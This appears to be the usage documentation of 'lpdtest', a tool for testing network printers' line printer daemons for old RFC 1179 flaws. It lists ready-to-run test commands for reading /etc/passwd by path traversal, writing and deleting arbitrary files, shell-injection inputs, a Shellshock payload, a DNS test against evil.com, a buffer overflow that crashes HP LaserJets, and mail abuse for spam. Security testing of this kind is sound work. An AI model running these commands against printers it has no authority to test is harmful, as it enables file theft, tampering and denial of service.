################# Poor Man's #################
    Line Printer Daemon Protocol (RFC 1179) Test
     ...for very, very old flaws and weaknesses
   ##############################################

BSD 4.4 lpd had some security problems documented here:
http://insecure.org/sploits/lpd.protocol.problems.html

Some implementations of the lpd protocol running on network
printers might still be vulnerable. The `lpdprint' program
simply sends a file to a host with a line printer daemon on
port 515. The `lpdtest' program however tries to abuse some
of the vulns from the past...

Get ready for time travel to the 90s!

------------------------[ Usage ]-------------------------

Usage: lpdtest hostname {get,put,rm,in,mail} argument

Positional arguments:
  hostname              printer ip address or hostname
  {get,put,rm,in,mail}  select lpd proto security test
  argument              specific to test, see examples

----------------------[ 'get' Test ]----------------------

Try to get (aka print) a file from printer's file system.
The 'f' command (print plain file) is used for this. RFC
1179 allows the definition of a filename, different than
the one defined in the `receive data file' command. This
should normally be ignored but might be interpreted:

$ lpdtest printer get /etc/passwd
$ lpdtest printer get ../../../etc/passwd
  ...etc.

----------------------[ 'put' Test ]----------------------

Try to upload a file to printer's file system. The file
name operators of the '2' and '3' commands (receive data
file or control file) is used for this. Values SHOULD be:

data:  cfA || three digit job number || client hostname
ctrl:  dfA || three digit job number || client hostname

However any filename might work and therefore cause lpd
implementations with spool dir to write arbitrary files:

$ lpdtest printer put /path/to/file

----------------------[ 'rm' Test ]-----------------------

Try to unlink (aka delete) file on printer's file system.
The 'U' command (unlink data file) is used for this. RFC
1179 allows the definition of a filename, different than
the one defined in the `receive data file' command. This
should normally be ignored but might be interpreted.

Let's test it:

$ lpdtest printer rm /path/to/file

----------------------[ 'in' Test ]-----------------------

This test is for fuzzing around with user input (hostname,
username, jobname, filenames, etc.). This might be useful
to test for interpretation of shell commands by some lpd
implementations or used filters:

# Test for environment variables
$ lpdtest printer in '$UID'

# Test for pipes and redirects
$ lpdtest printer in '| pwd'
$ lpdtest printer in '>> /etc/passwd'

# Test for backticks
$ lpdtest printer in '`ls`'

# Test for shellshock (CVE-2014-6271)
$ lpdtest printer in '() {:;}; /bin/ping -c1 1.2.3.4'

# Test for glibc vuln (CVE-2015-7547)
$ lpdtest printer in evil.com
  ...then sniff for dns queries to evil.com

This can also be used for simple buffer overflow tests.
RFC 1179 specifies a maximum length for user-/hostnames
(31 bytes), filenames (131 bytes), job names (99 bytes)
or job titles (79 bytes). To crash various HP LaserJet
printers, use something like this:

$ lpdtest printer in "`python -c 'print "x"*100'`"

----------------------[ 'mail Test ]----------------------

Try to send job information to a specified email address.
The 'M' command (mail when printed) in combination with
the 'H' command (host name) is used for this. The feature
be abused for spamming and should never be enabled in any
current lpd implementation. Testing is as simple as this:

$ lpdtest printer mail lpdtest@dontsendmesapm.de